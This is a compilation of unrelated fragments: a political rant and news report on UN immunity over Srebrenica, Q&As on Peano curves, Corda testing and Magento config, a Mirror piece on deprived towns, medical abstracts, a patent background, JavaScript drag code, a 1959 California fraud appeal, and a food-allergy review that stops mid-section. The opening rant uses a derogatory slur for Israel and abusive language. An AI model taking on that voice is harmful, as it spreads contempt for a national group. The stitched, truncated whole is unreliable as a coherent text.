Very odd my belief isn’t it? Clearly it’s a belief that doesn’t square well with reality, be it state granted immunity to the torturers in shitzrael, US, UK, Uzbeks, Egypt, Syria and so forth, or Immunity US occupation forces (army and private mercs) raping, killing and thieving their way through Iraq etc. These bastards should pay the price. So should UN forces raping their way around the world.
It’s one reason why I hate the U.N. It does NONE of the good things it says it supposed to do, instead it serves the elite. Yet stupid countries still attend it and by doing so offer it some kind of legitimacy, keeping it alive and well. I don’t like the EU either as it too won’t serve the interests of the people, merely a cabal. The UN (like the EU) should be opposed by all rejectors of vested interests.–
UN wins immunity in Srebrenica case.
Srebrenica was Europe’s worst atrocity since World War II
Bosnian Serb army Commander General Ratko Mladic, left, drinks a toast with Dutch UN Commander Tom Karremans, second right, while others unidentified look on in village of Potocari, some 5 kilometers north of Srebrenica Wednesday, July 12, 1995.
A Dutch court has ruled that survivors of the 1995 Serb assault that killed 8,000 Muslims in the Bosnian town of Srebrenica cannot sue the United Nations for failing to protect their families.
Relatives of victims and survivors of the massacre had been seeking compensation from the UN and the Dutch state.
But the judgment handed down by the district court in The Hague on Thursday said it had “no jurisdiction to hear the action against the UN”.
“… the court concludes that in international law practice the absolute immunity of the UN is the norm and is respected.”
On July 11, 1995, it was overrun by Bosnian Serb forces who loaded thousands of men and boys onto trucks, killing about 8,000 of them before throwing their bodies into mass graves.
Appeal decision
The plaintiffs, who call themselves the Mothers of Srebrenica, represent some 6,000 survivors of the massacre, and 10 individual widows who lost their husbands in the assault were ordered to pay costs after the decision.
Axel Hagedorn, lawyer for the plaintiffs, told Al Jazeera that they would appeal against the decision and approach the European Court of Human Rights if unsuccessful.
“The mothers will be disappointed … but this is only the first instance. We will have to see what the appeals court says about this,” he said
“If you accept this, then you are saying that only one organisation in the world cannot be judged by an independent court and that is unaccepatable.
“The UN soldiers even helped with the deportation of the men … so made the mass execution possible.”
Hagedorn said that although the case against the Dutch state would continue, the court may decide to put it on hold pending the outcome of the appeal process in the UN matter so as not to split the two issues.
‘Impossible mission’
In 2002, the entire Dutch government resigned over an official report that stated its peacekeepers had been sent on an “impossible” mission.
The Serbs brushed aside lightly armed Dutch UN peacekeepers in the “safe area” where thousands of Muslims from surrounding villages had gathered for protection.
The massacre, Europe’s worst atrocity since World War II, has been termed genocide by the International Court of Justice, which handles disputes between nations, and the International Criminal Tribunal for the former Yugoslavia, set up by the UN to try war crimes committed during the Balkans conflict.
The remains of thousands of victims have been found in mass graves around Srebrenica since the end of Bosnia’s 1992-1995 war.
The UN has also admitted it failed to protect the Muslims of Srebrenica from mass murder, but none of its officials were held responsible.
What is the finding of some seedy little Dutch court have jurisdiction over anything? And what was the chances a Dutch court would have allowed the case to continue when its victims were just ‘backwards Muslims’. Almost zero chance- thats what!. |
Q:
Proving a property for some general transformation $\mathbf{f}: \mathbb{R}^s \to (0,1)^{k}$
The author of the prob/stat textbook I am using casually threw out a statement that I've been driving myself crazy trying to prove. It goes like this:
Let $s < k-1$ for some positive integers $s$ and $k$. Consider a subset $\Omega \subseteq \mathbb{R}^s$, and let $W = \{ (p_1, \dots, p_k) \; | \; p_i > 0 \; \forall i = 1, \dots, k \text{ and } \sum_{i=1}^k p_i = 1 \}$. Now let $\mathbf{f}: \Omega \to W$ satisfy the following properties:
For $\mathbf{x} = (x_1, \dots, x_s) \in \Omega$, $f_i(\mathbf{x}) > 0 $ for each $i = 1, \dots, k$.
$\sum_{i=1}^k f_i(\mathbf{x}) = 1$
We are also given that none of the components $x_1, \dots, x_s$ in an element $\mathbf{x} \in \Omega$ can be written as a function of any of the other elements.
The claim is that $s < k-1 \Rightarrow \mathbf{f}(\Omega) \subset W $, i.e. that $\mathbf{f}$ is not onto.
I am not at all sure how to go about showing this. Initial attempts involved supposing that $\mathbf{f}$ was onto and using the fact that it therefore had a right inverse to show that $k-1 \le s$. Got stuck there. Also got stuck trying to derive a contradiction of the hypothesis that no $x_i$ can be written as function of the other $x_j$.
Since the claim deals with a relation between the dimension of $\Omega$ and $W$, I am vaguely reminded of the rank-nullity theorem, although this would be more general since $\mathbf{f}$ is not necessarily linear.
Taking it a step farther, I thought that the proof might involve the implicit function theorem / rank theorem, which you might be able to apply if you assume that $\mathbf{f}$ is a continuously differentiable function. But after that, I'm stuck. Can I get a hand?
A:
You must need some other assumptions.
Take $k=3$ and $\Omega = (0,\frac 12)\cup(\frac 12,1)$ then $W$ is an equilateral triangle and there exists a surjection $f:\Omega\to W$ called a Peano Curve.
(Notice I've had to remove three points from the interval $[0,1]$ corresponding to the corners of the triangle.)
Check in the book to see if the author has made some other assumption you've missed.
I can't find an example of the exact curve I'm thinking of, and it's hard to describe without drawing a picture. but there exists a continuous map $f$ (it's a Peano curve, but slightly different to the link) from $[0,1]$ to the equilateral triangle that's measure preserving. That is if $X\in[0,1]$ is uniformly distributed, then $f(X)$ is uniformly distributed in the triangle.
So from a probability point of view there's a very important way that the statement isn't true.
|
Communicate
Thirty years as a marriage counsellor gave me plenty of evidence that at the root of all sorts of problems was a breakdown in communication. Fortunately, at least sometimes, communication could be restored. But better still is to develop communication skills because that reduces the risk of breakdown happening.
All but a tiny number of us can talk, and can listen. But whether we express ourselves really clearly and whether we really listen is another matter altogether. The risk in an age where some grow up eating in front of the television rather than talking round the meal table is that we don’t arrive in adult life with those skills as well-developed as they might be. But all of us can hone our speaking and listening. There are always things it is more difficult to talk about and there are things that we just don’t want to hear. Getting over those barriers is an effort worth making.
Words are only one form of communication. I have sometimes encouraged couples who find words difficult to close their eyes, hold hands, and see how many different messages they can give through that simple touch – try it and see! ‘And you should see the look they gave each other’ – eyes are another powerful channel for messages. |
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The most deprived parts of England can today be revealed as part of a unique Mirror Online series looking at the state of Britain's towns.
Our exclusive investigation has looked at a huge amount of data on issues such as crime, health and unemployment to build a picture of the state of our communities.
Our figures show a huge North-South divide with 15 of the 20 most deprived parts of the country in the North or Midlands. The vast majority of these are made of areas in the North East and North West of England.
The data reveals that many of our proud towns are struggling with Middlesbrough named as the most deprived part of England.
Burnley, Blackburn and Blackpool also feature in the ten most deprived parts of the country. Other towns such as Oldham, Rochdale and Bolton are also lagging behind the rest of the UK.
Search your area below to see how it ranks for deprivation
The least deprived communities are made up of areas in the South East such as Wokingham and Fareham.
The figures are released as Mirror Online today launches our unique five-day Town 2020 series. Every day this week we will publish a series of stories both online and in print looking at the issues facing our towns.
Speaking to Mirror Online, Middlesbrough’s Labour MP Andy McDonald said there had been "a total lack of investment for many towns and cities in the North".
(Image: Evening Gazette)
We want to hear stories from your town. What do you think about it? Are you facing any issues? Email [email protected] or call 0207 293 3018.
He added: “We’ve had the Prime Minisiter saying ‘f*** business’ and you have Tory MPs that are saying ‘you’ll have to deal with some Brexit pain.’ But it will never be their pain, it will be towns like mine that suffer."
Our reporters have visited some of Britain’s proud towns, steeped in tradition and close-knit communities but left feeling ignored for decades by the country’s politicians.
(Image: CHRIS NEILL/MAVERICK PHOTOGRAPHY)
We’ve spoken to ordinary, hard-working people dealing with mental health problems, child poverty and employment issues. Politicians will also have their say on why they think our towns have suffered from a lack of investment and feeling ignored.
Our figures show that if you live in towns in the North West and North East you are likely to die earlier than people in the rest of the country, have fewer qualifications and suffer more from crime.
But we also want to focus on the positive. We'll talk to a rugby boss who is working hard to transform his town and a pop star who is proud to call his town home.
The 20 most deprived parts of England
Middlesbrough Burnley Kingston upon Hull Blackburn with Darwen Stoke-on-Trent Blackpool Hackney Nottingham Thanet Hastings Great Yarmouth Manchester Oldham Leicester Rochdale North East Lincolnshire Newcastle-upon-Tyne Salford Bolton Harlow
How we compiled our deprivation figures
The Mirror combined statistics from the NHS, Office For National Statistics (ONS) and other government bodies to find out which local authorities in the country are falling behind others when it comes to health, crime, qualifications and economy.
A list of towns and cities was created for each of the four topics, which was then used to come up with an overall ranking.
The list of unhealthy areas was created by combining statistics on Health Life Expectancy, Air Pollution, Avoidable Deaths, Obesity, Smoking, Heroin Deaths, and Alcohol related hospital admissions. |
Markers of platelet activation and apoptosis in platelet concentrates collected by apheresis.
A product with well-preserved haemostatic function of platelets is the ultimate goal of platelet concentrate production. However, platelet activation and apoptosis are induced by both collection and storage of platelet concentrates. Platelet concentrates obtained either by two blood separators with different technology of apheresis (Haemonetics MCS+, Haemonetics Corp. Braintree, USA and Trima Accel, Gambro BCT Inc., Lakewood, USA, respectively) or derived from buffy-coat were compared using evaluation of pH, LDH, lactate, glucose, annexin V, and sP-selectin levels immediately after collecting and at the end of expiration to estimate the differences in the activation and apoptosis of platelets in these products. The lowest degree of platelet activation was found in products obtained by Haemonetics MCS+ apparatus at the time of collection. Platelet concentrates obtained by apheresis revealed higher rise of LDH, annexin V and sP-selectin compared to buffy-coat derived platelets. Products from Haemonetics MCS+ showed higher rise of annexin V in comparison with products from Trima separator. Increase of LDH and sP-selectin in both apheresis products was comparable. On the basis of changes of sP-selectin and annexin V levels it could be concluded that initial platelet activation, which is induced by apheresis, is very likely without any further impact on quality of platelets during storage. Development of platelet storage lesions is influenced especially by storage conditions and platelet concentration in products. |
Q:
Corda - Testing acceptor flows fails since Corda 4 upgrade
The following flow test used to work in Corda 3...
@Test
fun `can ping counterparties`() {
val acceptorFlowFutures = listOf(nodeB, nodeC).map {
it.registerInitiatedFlow(SendPingAcceptorFlow::class.java).toFuture()
}
nodeA.startFlow(SendPingInitiatorFlow("Ping!"))
network.runNetwork()
acceptorFlowFutures.forEach {
val result = it
.getOrThrow(Duration.ofMinutes(1)) // Timeout failure here
.stateMachine
.resultFuture
.getOrThrow(Duration.ofMinutes(1)) as String
assertEquals("Ping!", result)
}
}
But since updating to use Corda 4, it now gets the following exception:
java.util.concurrent.TimeoutException
What could be causing this?
A:
I have tested the following code successfully on Corda 4, with the given scenario.
import co.paralleluniverse.fibers.Suspendable
import net.corda.core.flows.*
import net.corda.core.identity.Party
import net.corda.core.toFuture
import net.corda.core.utilities.getOrThrow
import net.corda.core.utilities.unwrap
import net.corda.testing.internal.chooseIdentity
import net.corda.testing.node.MockNetwork
import net.corda.testing.node.StartedMockNode
import org.junit.After
import org.junit.Before
import org.junit.Test
import java.time.Duration
import kotlin.test.assertEquals
class DummyFlowUnitTests2 {
lateinit var network: MockNetwork
lateinit var nodeA: StartedMockNode
lateinit var nodeB: StartedMockNode
lateinit var nodeC: StartedMockNode
lateinit var partyA: Party
lateinit var partyB: Party
lateinit var partyC: Party
@Before
fun setup() {
network = MockNetwork(listOf("com.corda.cordapp"))
//Create nodes.
nodeA = network.createNode()
nodeB = network.createNode()
nodeC = network.createNode()
partyA = nodeA.info.chooseIdentity()
partyB = nodeB.info.chooseIdentity()
partyC = nodeC.info.chooseIdentity()
nodeB.registerInitiatedFlow(SendPingAcceptorFlow::class.java)
nodeC.registerInitiatedFlow(SendPingAcceptorFlow::class.java)
}
@After
fun tearDown() {
network.stopNodes()
}
@Test
fun `can ping counterparties`() {
val acceptorFlowFutures = listOf(nodeB, nodeC).map {
it.registerInitiatedFlow(SendPingAcceptorFlow::class.java).toFuture()
}
nodeA.startFlow(SendPingInitiatorFlow("Ping!", listOf(partyB, partyC)))
network.runNetwork()
acceptorFlowFutures.forEach {
val result = it
.getOrThrow(Duration.ofMinutes(1)) // Timeout failure here
.stateMachine
.resultFuture
.getOrThrow(Duration.ofMinutes(1)) as String
assertEquals("Ping!", result)
}
}
@InitiatingFlow
@StartableByRPC
data class SendPingInitiatorFlow(val msg: String, val parties: List<Party>) : FlowLogic<Unit>() {
@Suspendable
override fun call() {
parties.map { initiateFlow(it) }.forEach {
it.send(msg)
}
}
}
@InitiatedBy(SendPingInitiatorFlow::class)
data class SendPingAcceptorFlow(val othersideSession: FlowSession) : FlowLogic<String>() {
@Suspendable
override fun call(): String {
return othersideSession.receive<String>().unwrap { it }
}
}
}
|
The invention relates to the field of templates for use in forming openings in surfaces such as floors, walls or ceilings for heating/cooling forced air systems.
Openings in surfaces such as floors, walls or ceilings for heating/cooling forced air systems are often done using a tape measure and straight edge, typically a framing (right angle) square. A spotting or pilot hole is drilled in desired bay (i.e., area of space located between floor joists or studs), generally 16″ is the distance located between adjacent joists from center-to-center of the joist. With the reference point in installer determines where the center of the opening must be located by way of viewing the opposite side of surface that was drilled. The new location is marked without the use of a template or guide, and measured out from the reference point taking into account the size of desired opening using a tape measure. The desired distances are now marked and then using a straight edge the installer connects markings to form desired opening size. While marking the distances the installer must make certain that each corner of the desired opening are square with one another to assure proper fitting of supply or return duct boots. This technique of using a tape measure and a framing square is relatively slow and inaccurate.
There is a need for a template to facilitate the accurate and efficient forming of openings in surfaces such as floors, walls or ceilings for heating/cooling forced air systems. |
rows = {[3.259681e+002
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];
};
cols = {[2.881406e+002
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4.878906e+002
4.888894e+002
];
};
|
import * as interactjs from 'interactjs';
let interact = interactjs.default;
interact('.resize-drag')
.draggable({
//call this function on every dragmove event
onmove: dragMoveListener
})
.resizable({
edges: { left: true, right: true, bottom: true, top: true }
})
.on('resizemove', resizeMoveListener);
function dragMoveListener(event) {
var target = event.target,
// keep the dragged position in the data-x/data-y attributes
x = (parseFloat(target.getAttribute('data-x')) || 0) + event.dx,
y = (parseFloat(target.getAttribute('data-y')) || 0) + event.dy;
// translate the element
target.style.webkitTransform =
target.style.transform =
'translate(' + x + 'px, ' + y + 'px)';
// update the posiion attributes
target.setAttribute('data-x', x);
target.setAttribute('data-y', y);
}
function resizeMoveListener(event) {
var target = event.target,
x = (parseFloat(target.getAttribute('data-x')) || 0),
y = (parseFloat(target.getAttribute('data-y')) || 0);
// update the element's style
target.style.width = event.rect.width + 'px';
target.style.height = event.rect.height + 'px';
// translate when resizing from top or left edges
x += event.deltaRect.left;
y += event.deltaRect.top;
target.style.webkitTransform = target.style.transform =
'translate(' + x + 'px,' + y + 'px)';
target.setAttribute('data-x', x);
target.setAttribute('data-y', y);
//fire an event...
var e = new Event('divresize',target);
target.dispatchEvent(e);
}
// this is used later in the resizing and gesture demos
//window.dragMoveListener = dragMoveListener;
|
Q:
How to get the value label of store config fields with source models
I'm trying to iterate over each config field to get the value of every field for each scope level. Here's the code so far:
$path will be an array of config paths like 'general/country/default', 'general/country/allow', 'general/region/display_all', etc. The function below will iterate over each $path element.
$value = Mage::getConfig()->getNode($path, 'default');
// ...
foreach (Mage::app()->getWebsites() as $website) {
$value = Mage::getConfig()->getNode($path, 'website', $website->getCode());
// ...
foreach ($website->getGroups() as $group) {
foreach ($group->getStores() as $store) {
$value = Mage::getConfig()->getNode($path, 'store', $store->getCode());
// ...
}
}
}
This works fine except on dropdowns and other fields. On a Yes/No dropdown it will return 1/0 instead of Yes/No. On a country dropdown it will return US instead of United States, etc.
I'm pretty sure I need to run the returned values through the source model but I don't know how to get the source model for each $path programmatically?
Or maybe there's another way...
A:
Here is how you can get the source model of a config setting.
You can integrate this in your script.
Step 1
You need a method to get the contents of the system.xml files.
$config = Mage::getConfig()->loadModulesConfiguration('system.xml')->applyExtends();
Step 2
You need a way to 'translate' the config node name (general/country/allow) to the path from the system.xml (sections/general/groups/country/fields/allow).
The mechanism is this
general/country/allow -------------------|
| | |
| |--------------| |
| | |
|-------| | |
| | |
sections/general/groups/country/fields/allow
| | |
| | |
|-------always the same---------|
Here is a simple function.
function getSystemPath($path) {
$newPath = '';
$parts = explode('/', $path);
if (count($parts) != 3) { //you must have at least 3 parts in the node name
return '';
}
return 'sections/'.$parts[0].'/groups/'.$parts[1].'/fields/'.$parts[2];
}
Step 3.
Now get the source_model node
$path = 'general/country/allow'
$node = $config->getNode(getSystemPath($path)); //get the corresponding system.xml path from the config loaded at step 1.
if ($node && $node->source_model){ //if there is a source model
//instantiate the model - use getSingleton in case there are more fields that use the same source model
$model = Mage::getSingleton((string)$node->source_model);
//get options
$options = $model->toOptionArray();
//do something with $options.
}
[Edit]
If you want to load the system.xml file for a single module you can do this:
$configFile = Mage::getConfig()->getModuleDir('etc', 'Mage_Catalog').DS.'system.xml';
$string = file_get_contents($configFile);
$xml = simplexml_load_string($string, 'Varien_Simplexml_Element');
But keep this in mind. A module can override or add elements in the configuration area for an other module.
|
167 Cal.App.2d 238 (1959)
THE PEOPLE, Respondent,
v.
EDWIN B. ROBERTS, Appellant.
Crim. No. 6298.
California Court of Appeals. Second Dist., Div. Two.
Jan. 20, 1959.
Harold J. Ackerman for Appellant.
Edmund G. Brown, Attorney General, and Arthur C. deGoede, Deputy Attorney General, for Respondent.
HERNDON, J.
After a jury trial, appellant was convicted of (1) knowingly issuing a check with insufficient funds and with intent to defraud (Pen. Code, 476a) and (2) grand theft of an automobile (Pen. Code, 487, subd. 3.). He had admitted a prior felony conviction of incest. He appeals from the judgment and from the order denying his motion for a new trial.
In the early part of March, 1956, appellant went to Mike McCarthy Lincoln- Mercury Company (hereinafter referred to as McCarthy) and after discussion with a salesman signed an order for a new car with specified accessories for the stated price of $3,700 "plus." When appellant suggested making a deposit of $100, the sales manager stated that he wouldn't order such a car from the factory without a larger deposit. The following day appellant made a deposit of $425 whereupon McCarthy ordered the car from the factory.
On March 26, 1956, having received notice that his car had arrived, appellant went to the McCarthy agency to take delivery. *241 He informed the sales manager that he was going to finance the car with the Automobile Club to the extent of $2,500 and that he would make up the difference with a down payment. Advised that the required down payment would be $1,037.52, he made out, signed and delivered to McCarthy's sales manager a counter check in that amount drawn on the Bank of Encino. At the same time he signed in blank a conditional sales contract bearing the notation "Until check arrives, $2,500 from Auto Club due 4-1-56." He indicated that he would go to the Automobile Club and make arrangements to finance the $2,500 and that this amount would be sent to McCarthy in due course. The sales manager testified that he relied on the validity of the check in allowing the appellant to take the automobile.
The records of the Bank of Encino disclosed that on the date the check was issued, appellant had no account, but that on March 28, 1956, he opened an account with a balance of $661.08. Appellant had no other account with the bank at that time, and had made no arrangements for the extension of credit. A $500 check which was a part of the opening deposit was dishonored and returned on April 2, 1956. As of April 20, 1956, the balance in the account had declined to $12.11. McCarthy received no word from either appellant or the Automobile Club after March 26. The check given by appellant to cover the down payment on the automobile was returned to McCarthy dishonored after about five days. During the next three weeks representatives of the McCarthy Agency went to appellant's residence 10 or 12 times in an effort to locate appellant, but found no one at the address, although furniture was observed therein. Messages left at appellant's address were unanswered. McCarthy repossessed the automobile in Fresno, California, sometime in May, 1956.
Appellant testified in substance: that the check for $1,037.52 was to be used only after appellant notified McCarthy that it might be cashed; that he told the sales manager that he did not have the money at the time, but would be getting some within a few days; that the sales manager said: "... give me a check for it ... and I will hold the check until you give me an o.k. to put it in the bank. And in case in the event that you don't, we'll finance it through our own financing institution"; that when the appellant told the sales manager he did not have a bank account, the latter stated "... surely you will have a bank account"; that it was appellant's understanding that the blank conditional sales contract was signed *242 so that if the check could not be covered, or the Automobile Club loan was not realized, financing would be completed through the use of the conditional sales contract; that appellant was employed and had reasonable expectations of receiving sufficient funds to cover the check; that he never intended to defraud McCarthy, but fully intended to make the check good when he issued it.
[1] Our recital of the facts sufficiently refutes appellant's contention that the evidence is insufficient as a matter of law to sustain the judgment. (People v. Newland, 15 Cal.2d 678, 681 [104 P.2d 778].) Implicit in the verdict of the jury is a rejection of appellant's testimony that he issued the check in good faith and upon the understanding that its delivery and use were conditional upon further authorization. (Cf. People v. De Paula, 43 Cal.2d 643, 649 [276 P.2d 600].) [2] Intent to defraud is a question of fact. (People v. Leon, 163 Cal.App.2d 791, 793 [329 P.2d 996].) Such intent may be inferred from the conduct of the accused or from the circumstances surrounding the transaction. (People v. Leon, supra; People v. Markos, 146 Cal.App.2d 82, 85 [303 P.2d 363].)
[3] A more serious question is presented by appellant's contention that the trial court erred in failing upon its own motion to give "... an instruction embodying the principle that to justify a conviction on circumstantial evidence the facts and circumstances must not only be entirely consistent with the theory of guilt but must be inconsistent with any other rational conclusion." (People v. Yrigoyen, 45 Cal.2d 46, 49 [286 P.2d 1]; see CALJIC Number 27.) Appellant was represented at the trial by counsel, at whose request the court gave CALJIC Number 26, which reads as follows: "If the evidence in this case [as to either count] is susceptible of two constructions or interpretations, each of which appears to you to be reasonable, and one of which points to the guilt of the defendant, and the other to his innocence, it is your duty, under the law, to adopt that interpretation which will admit of the defendant's innocence, and reject that which points to his guilt. You will notice that this rule applies only when both of the two possible opposing conclusions appear to you to be reasonable. If, on the other hand, one of the possible conclusions should appear to you to be reasonable and the other to be unreasonable, it would be your duty to adhere to the reasonable deduction and to reject the unreasonable, bearing in mind, however, that even if the reasonable deduction points to defendant's guilt, the entire proof must carry the *243 convincing force required by law to support a verdict of guilt" and CALJIC Number 28, which reads as follows: "When the case which has been made out by the People against a defendant rests entirely or chiefly on circumstantial evidence, and in any case before the jury may find a defendant guilty basing its finding solely on such evidence, each fact which is essential to complete a chain of circumstances that will establish the defendant's guilt must be proved beyond a reasonable doubt." Counsel made no request for CALJIC Number 27 in either form or substance.
Appellant relies on People v. Yrigoyen, supra, 45 Cal.2d 46 [a prosecution for issuing a check with insufficient funds] and People v. Neel, 151 Cal.App.2d 1 [310 P.2d 986] [grand theft of an automobile] in which judgments of conviction were reversed on the ground that the trial court committed prejudicial error in failing sua sponte to give an instruction to the effect that to find the defendant guilty on circumstantial evidence alone the proved circumstances must be irreconcilable with any other rational conclusion than that of guilt.
In both of these cases, however, the trial court had failed to give any instruction to the jury on the interpretation of circumstantial evidence, although the People's evidence as to the defendant's criminal intent was necessarily circumstantial. The instant case presents quite a different situation. Assuming that an instruction embodying the substance of CALJIC Number 27 should have been given the jury, the question before us is whether the appellant was prejudiced by the trial court's failure to act on its own motion to give more complete instructions to supplement those requested by the defendant. In considering this question we note that the instruction which appellant now contends should have been given (CALJIC Number 27) is found in the one-volume text under the heading "Circumstantial Evidence" from which counsel for appellant presumably selected and requested CALJIC Numbers 26 and 28, which were given the jury. The failure of appellant's counsel to request CALJIC Number 27 indicates to us that he consciously and purposefully rejected that instruction, possibly under the belief that the other instructions requested and given would better serve his client's interest. CALJIC Number 26 required the jury to give the defendant the benefit of any reasonable interpretation of the evidence which was favorable to his innocence, and CALJIC Number 28 informed the jury that each fact essential to an incriminating chain of *244 circumstances must be proved beyond a reasonable doubt. (Cf. People v. Webster, 79 Cal.App.2d 321, 328-329 [179 P.2d 633].)
Precisely the contention now made by appellant was rejected in the recent case of People v. Barkoff, 163 Cal.App.2d 639 [329 P.2d 1005], (hearing denied). In that case the defendant was convicted in a jury trial of two counts of abortion. The facts were not involved: the defendant admitted inserting a pessary (a contraceptive device which may induce abortion) in the body of the prosecution's female witness, and "... the main issue was the intent with which he did it--was it for purposes of abortion as claimed by the prosecution, or for contraceptive purposes, as claimed by the defendant?" (P. 643.) At the defendant's request the court gave CALJIC Number 26, but did not give Numbers 27 or 28 on circumstantial evidence. On appeal, as in the instant case, the defendant contended that the court sua sponte should have given CALJIC Number 27 or a similar instruction. After a comprehensive review of the applicable precedents, the court concluded that the failure to give CALJIC Number 27 was not prejudicial to the defendant. In affirming the judgment of conviction the court remarked: "While CALJIC Number 27 should have been given, the failure to do so under the circumstances here was not prejudicial. The court did give CALJIC Number 26 which while not as strong as CALJIC Number 27 did require the jury to give the defendant the benefit of any reasonable interpretation of the evidence favorable to his innocence. In the second place and more important, the evidence of defendant's guilt, although circumstantial, is overwhelming. It just is not reasonable to expect any reasonable person to believe under the circumstances of this case that defendant, having been told that the women were pregnant, inserted the pessaries for contraceptive purposes. It is inconceivable that had the jury been given CALJIC Number 27 in addition to CALJIC Number 26, any different result would have followed." (People v. Barkoff, supra, at pp. 644-645.)
In the instant case the jury refused to believe the defendant's testimony as to the circumstances under which he gave a check on a nonexistent bank account and found him guilty as charged. Since the jury rejected defendant's version of the transaction, it is inconceivable that the giving of the additional instruction on the subject of circumstantial evidence would have had any effect on the result. (People v. Watson, 46 Cal.2d 818, 836 [299 P.2d 243]; People v. Bender, 27 Cal.2d 164 *245 [163 P.2d 8]; see People v. Williams, 153 Cal.App.2d 5, 9 [314 P.2d 161].)
[4] Appellant's third contention is that the deputy district attorney was guilty of prejudicial misconduct in arguing to the jury that on the basis of defendant's admission of the prior felony conviction of incest he was an immoral person. The following are the portions of the argument of the district attorney of which the appellant now complains: "That man [the defendant] has been convicted of a felony. Now, it's very rare that this is allowed to be shown; only in cases of impeachment can a man's past record be brought up, and only in regard to felonies can it be brought up. But it is permissible to show it. In this felony, true it is not connected in any way with this case; but that's a felony that violates every written law and every moral law, and yet, that man sat upon this witness stand and has taken an oath to God, and Mr. Stanton wants you to believe that man over these other people and over the physical facts and physical evidence. Well, that can be done."
"Now, there's a little bit more about Mr. Roberts. He's not only been convicted of a felony, which violates, as I said, the moral and written law; but he's told you some things up on the witness stand that I don't think are quite what he wanted you to believe. ..."
"Before I close, let me just say this. The case actually really boils down a lot to the matter of credibility; boils down to who you are going to believe. And it boils down to what type of character, what--is this man a savoury character or unsavoury character? I think you can consider that in deciding. And again you can consider the man's prior conviction of incest."
Conceding, arguendo, that the comments of the deputy district attorney might have exceeded the bounds of propriety, the failure of appellant to make any objection or assignment of misconduct or to move for a mistrial or to seek any instruction admonishing the jury to disregard the allegedly improper argument should preclude a reversal on this ground. (See People v. Moore, 143 Cal.App.2d 333, 338 [299 P.2d 691].) Moreover, each of the deputy district attorney's statements concerning the prior conviction was made solely in reference to the question of appellant's credibility. (Cf. People v. Brain, 17 Cal.App.2d 141, 143 [61 P.2d 806].)
[5] Appellant's fourth contention is that the trial court erred in failing to instruct the jury upon the elements of the *246 crime of theft. The trial court instructed the jury that "It is the law of this state that every person who shall feloniously steal, take or drive away the automobile of another is guilty of grand theft regardless of the value of the vehicle." Appellant points out that the court failed to give instructions covering the general definition of theft, intent in theft cases, the definition of larceny by trick and device or the definition of theft by false pretenses. However, appellant made no request for any of these instructions, and it does not appear that the failure of the court to give them sua sponte should be regarded as prejudicial error under the circumstances of this case. The cases cited by appellant do not appear to sustain his contention.
[6] Finally, appellant argues that the trial court erred in failing to instruct the jury that an oral extrajudicial admission of the defendant should be viewed with caution. The only statement alluded to in appellant's brief as constituting an extrajudicial admission is the following attributed to appellant in the testimony of the arresting officer: "He was asked when he opened that bank account, and he stated that he opened it approximately the later part of February or the first of March ..."
There seems to be no merit in this contention for two reasons. In the first place, appellant did not request the instruction, and, in the second place, the quoted statement attributed to appellant did not constitute any admission of guilt. It is uncontradicted that appellant opened his account with the drawee bank in the latter part of March.
It should be observed that many of the questions presented on the instant appeal revolve about appellant's contentions that the trial court, on its own motion, should have given certain instructions even though the defendant did not request them. Appellant was represented by counsel in the trial court, and his failure to request any of the instructions now asserted as grounds for reversal should be regarded as significant. [7] Of course, "[i]n a criminal case the trial court is required to instruct the jury of its own motion upon the law relating to the facts of the case and upon matters vital to a proper consideration of the evidence." (People v. Yrigoyen, supra, 45 Cal.2d 46, 49; People v. Putnam, 20 Cal.2d 885, 890-891 [129 P.2d 367].) However, "[r]eviewing courts will scrutinize with great care any claim of prejudicial error predicated solely upon the omission of the trial court to give of its own motion an instruction, the propriety of which is indicated *247 solely by the condition of the evidence." (People v. Davis, 43 Cal.2d 661, 674 [276 P.2d 801]; see People v. Richardson, 74 Cal.App.2d 528, 533 [169 P.2d 44].)
The judgment and order are affirmed.
Fox, P. J., and Ashburn, J., concurred.
|
Cyclic AMP regulates G(omicronalpha) protein and mRNA levels by modulating the transcriptional rate of G(omicronalpha) gene.
In rat astroglial cells, four G(omicronalpha) transcripts were found: G(omicron2alpha) mRNA (5.7 kb) and three G(omicron1alpha) mRNAs (4.0, 3.0 and 2.3 kb). However, G(omicron2alpha) but little G(omicronalpha1) proteins were present in membrane-enriched fractions. Culturing astroglial cells with forskolin (10 microM) or isoproterenol (10 microM) a beta-adrenergic agonist increased transiently in a time-dependent manner the levels of G(omicronalpha) proteins. The degradation rate of G(omicronalpha) proteins was slightly decreased by the cAMP treatment. In parallel, forskolin (10 microM) treatment increased transiently the amounts of both G(omicron1alpha) and G(omicron2alpha) mRNAs. The relative transcription rate of G(omicronalpha) gene was increased by 1.7-fold in forskolin-treated cells whereas the half-lives of G(omicron1alpha) and G(omicron2alpha) mRNAs were not significantly changed. These results suggest that cAMP regulates the transcription rate of G(omicronalpha) gene and this is compatible with the existence of a cAMP responsive element in the promoter of the G(omicronalpha) gene. |
INTRODUCTION
============
Food allergy (FA) affects 6% of adults[@B1] and up to 8% of children. The prevalence of allergy and anaphylaxis is increasing.[@B2][@B3] Standard management has been strict food avoidance and preparedness with an epinephrine auto-injector (EAI) in the event of a reaction.[@B4] Despite efforts at avoidance, severe reactions may occur in up to a third of food allergic children.[@B5] Given risk for accidental reactions and persistence of FA beyond childhood, there is an unmet need for therapies for FA. A number of allergen-specific methods are being studied, and may become commercially available in the coming years. In this review, we will discuss food allergen-specific immunotherapies (AITs) that are being evaluated in humans.
SECTION 1: WHAT ARE THE METHODS OF AIT FOR FA?
==============================================
AIT utilize frequent delivery of allergen via various routes to induce tolerance. Food AITs currently under study include oral immunotherapy (OIT), sublingual immunotherapy (SLIT), epicutaneous immunotherapy (EPIT), and subcutaneous immunotherapy (SCIT) with modified allergen, as well as lysosomal-associated membrane protein (LAMP)-DNA based vaccines. An overview of these AIT modalities is provided below and compared in [Table 1](#T1){ref-type="table"}.
OIT and SLIT
------------
In OIT, native or modified food allergen is ingested; whereas in SLIT, liquid allergen extract is applied under the tongue. SLIT and OIT respectively start with sub-threshold doses in 0.0001 µg- and 0.1 mg-range, which are increased under physician supervision during an initial rapid dose-escalation day up to 0.01 µg-range and mg-range. The highest tolerated dose after initial dose-escalation may be repeated on the following day to confirm it will be safely tolerated during daily doses at home. This is followed by a build-up phase during which daily doses are increased every 2 weeks under physician supervision up to maintenance doses in mg-range for SLIT and gram-range for OIT. Daily maintenance dosing is continued for months to years.
EPIT
----
